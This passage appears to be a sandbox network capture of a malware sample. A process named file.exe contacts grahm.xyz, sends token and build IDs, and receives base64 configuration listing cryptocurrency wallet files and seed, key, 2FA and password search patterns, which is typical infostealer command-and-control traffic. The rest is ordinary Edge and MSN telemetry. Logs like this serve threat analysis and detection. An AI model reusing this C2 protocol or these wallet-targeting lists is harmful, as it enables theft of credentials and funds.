2024-12-12 15:47:17 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=aff317bd63be40ce841cf75c8d9dba65&HASH=aff3&LV=202412&V=4&LU=1734018436780; Domain=.microsoft.com; Expires=Fri, 12 Dec 2025 15:47:16 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=8a5abab7e9c14667a0518fb3d7e4a320; Domain=.microsoft.com; Expires=Thu, 12 Dec 2024 16:17:16 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3545 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 12 Dec 2024 15:47:16 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49839	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:18 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----9HVSRI5X4OZM7YCTJWLF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:47:18 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 48 56 53 52 49 35 58 34 4f 5a 4d 37 59 43 54 4a 57 4c 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 39 48 56 53 52 49 35 58 34 4f 5a 4d 37 59 43 54 4a 57 4c 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 39 48 56 53 52 49 35 58 34 4f 5a 4d 37 59 43 54 4a 57 4c 46 0d 0a 43 6f 6e 74 Data Ascii: ------9HVSRI5X4OZM7YCTJWLFContent-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------9HVSRI5X4OZM7YCTJWLFContent-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------9HVSRI5X4OZM7YCTJWLFCont
2024-12-12 15:47:18 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:47:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:47:18 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49840	18.238.49.124	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:18 UTC	1012	OUT	GET /b2?rn=1734018433237&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B4728EAA4386D50161A3DB9A5116C1A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1BF3b61c31387b2525a164a1734018436; XID=1BF3b61c31387b2525a164a1734018436
2024-12-12 15:47:18 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Thu, 12 Dec 2024 15:47:18 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 b15f339834cfb5119481b1c1eb890372.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: yjKkVK40MkhnaOkLol1Ada_utvnAbFgLvPi7mT88RRC3NhSw-4lHKQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49848	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:20 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----9HVAI58YMYMYU379R9HD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:47:20 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 48 56 41 49 35 38 59 4d 59 4d 59 55 33 37 39 52 39 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 39 48 56 41 49 35 38 59 4d 59 4d 59 55 33 37 39 52 39 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 39 48 56 41 49 35 38 59 4d 59 4d 59 55 33 37 39 52 39 48 44 0d 0a 43 6f 6e 74 Data Ascii: ------9HVAI58YMYMYU379R9HDContent-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------9HVAI58YMYMYU379R9HDContent-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------9HVAI58YMYMYU379R9HDCont
2024-12-12 15:47:21 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:47:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:47:21 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 45 56 54 53 31 52 50 55 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e Data Ascii: 5e8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0Yn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49851	20.110.205.119	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:20 UTC	1279	OUT	GET /c.gif?rnd=1734018433237&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f97ea5676140412c82d619797299a18f&activityId=f97ea5676140412c82d619797299a18f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=E7586DD3E35E40A1862570F7C55DE2B3&MUID=2B4728EAA4386D50161A3DB9A5116C1A HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2B4728EAA4386D50161A3DB9A5116C1A; _EDGE_S=F=1&SID=296938534AFC602A3AA42D004BC6615B; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-12-12 15:47:21 UTC	982	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Tue, 10 Dec 2024 13:00:24 GMT Accept-Ranges: bytes ETag: "9270eb7934bdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=2B4728EAA4386D50161A3DB9A5116C1A; domain=.msn.com; expires=Tue, 06-Jan-2026 15:47:21 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=2B4728EAA4386D50161A3DB9A5116C1A; domain=c.msn.com; expires=Tue, 06-Jan-2026 15:47:21 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Thu, 19-Dec-2024 15:47:21 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Thu, 12-Dec-2024 15:57:21 GMT; path=/; SameSite=None; Secure; Date: Thu, 12 Dec 2024 15:47:20 GMT Connection: close Content-Length: 42
2024-12-12 15:47:21 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49856	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:22 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EC2DJWT0HDJEU3OZC2DJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 453 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:47:22 UTC	453	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 32 44 4a 57 54 30 48 44 4a 45 55 33 4f 5a 43 32 44 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 45 43 32 44 4a 57 54 30 48 44 4a 45 55 33 4f 5a 43 32 44 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 32 44 4a 57 54 30 48 44 4a 45 55 33 4f 5a 43 32 44 4a 0d 0a 43 6f 6e 74 Data Ascii: ------EC2DJWT0HDJEU3OZC2DJContent-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------EC2DJWT0HDJEU3OZC2DJContent-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------EC2DJWT0HDJEU3OZC2DJCont
2024-12-12 15:47:23 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:47:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:47:23 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49854	20.189.173.5	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:22 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734018439889&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11565 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2B4728EAA4386D50161A3DB9A5116C1A; _EDGE_S=F=1&SID=296938534AFC602A3AA42D004BC6615B; _EDGE_V=1; _C_ETH=1; msnup=
2024-12-12 15:47:22 UTC	11565	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 31 32 54 31 35 3a 34 37 3a 31 39 2e 38 38 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 35 61 61 62 35 38 30 2d 63 34 63 66 2d 34 32 38 31 2d 38 35 34 30 2d 61 30 37 64 36 31 39 65 31 37 63 61 22 2c 22 65 70 6f 63 68 22 3a 22 31 38 37 30 33 39 30 36 35 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-12T15:47:19.887Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"b5aab580-c4cf-4281-8540-a07d619e17ca","epoch":"1870390653"},"app":{"locale
2024-12-12 15:47:23 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6260338cf1374652bc095f7193b91574&HASH=6260&LV=202412&V=4&LU=1734018443173; Domain=.microsoft.com; Expires=Fri, 12 Dec 2025 15:47:23 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5e03cacb0103490f82d5c0154744833e; Domain=.microsoft.com; Expires=Thu, 12 Dec 2024 16:17:23 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3284 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 12 Dec 2024 15:47:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49857	20.189.173.5	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:23 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734018439892&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5066 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2B4728EAA4386D50161A3DB9A5116C1A; _EDGE_S=F=1&SID=296938534AFC602A3AA42D004BC6615B; _EDGE_V=1; _C_ETH=1; msnup=
2024-12-12 15:47:23 UTC	5066	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 31 32 54 31 35 3a 34 37 3a 31 39 2e 38 39 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 35 61 61 62 35 38 30 2d 63 34 63 66 2d 34 32 38 31 2d 38 35 34 30 2d 61 30 37 64 36 31 39 65 31 37 63 61 22 2c 22 65 70 6f 63 68 22 3a 22 31 38 37 30 33 39 30 36 35 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-12T15:47:19.891Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"b5aab580-c4cf-4281-8540-a07d619e17ca","epoch":"1870390653"},"app":{"locale
2024-12-12 15:47:23 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=971227b5028c464e9f4d36221aaa75b5&HASH=9712&LV=202412&V=4&LU=1734018443509; Domain=.microsoft.com; Expires=Fri, 12 Dec 2025 15:47:23 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=fdc487d6772841618474d03d066b5035; Domain=.microsoft.com; Expires=Thu, 12 Dec 2024 16:17:23 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3617 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 12 Dec 2024 15:47:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49858	20.189.173.5	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:23 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734018440732&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5264 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2B4728EAA4386D50161A3DB9A5116C1A; _EDGE_S=F=1&SID=296938534AFC602A3AA42D004BC6615B; _EDGE_V=1; msnup=
2024-12-12 15:47:23 UTC	5264	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 31 32 54 31 35 3a 34 37 3a 32 30 2e 37 32 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 35 61 61 62 35 38 30 2d 63 34 63 66 2d 34 32 38 31 2d 38 35 34 30 2d 61 30 37 64 36 31 39 65 31 37 63 61 22 2c 22 65 70 6f 63 68 22 3a 22 31 38 37 30 33 39 30 36 35 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-12T15:47:20.729Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"b5aab580-c4cf-4281-8540-a07d619e17ca","epoch":"1870390653"},"app":{"locale
2024-12-12 15:47:24 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=65a23fa599624e729d25adff55b96110&HASH=65a2&LV=202412&V=4&LU=1734018443979; Domain=.microsoft.com; Expires=Fri, 12 Dec 2025 15:47:23 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=dc10585024ac4668826598f0f194e828; Domain=.microsoft.com; Expires=Thu, 12 Dec 2024 16:17:23 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3247 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 12 Dec 2024 15:47:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49859	20.189.173.5	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
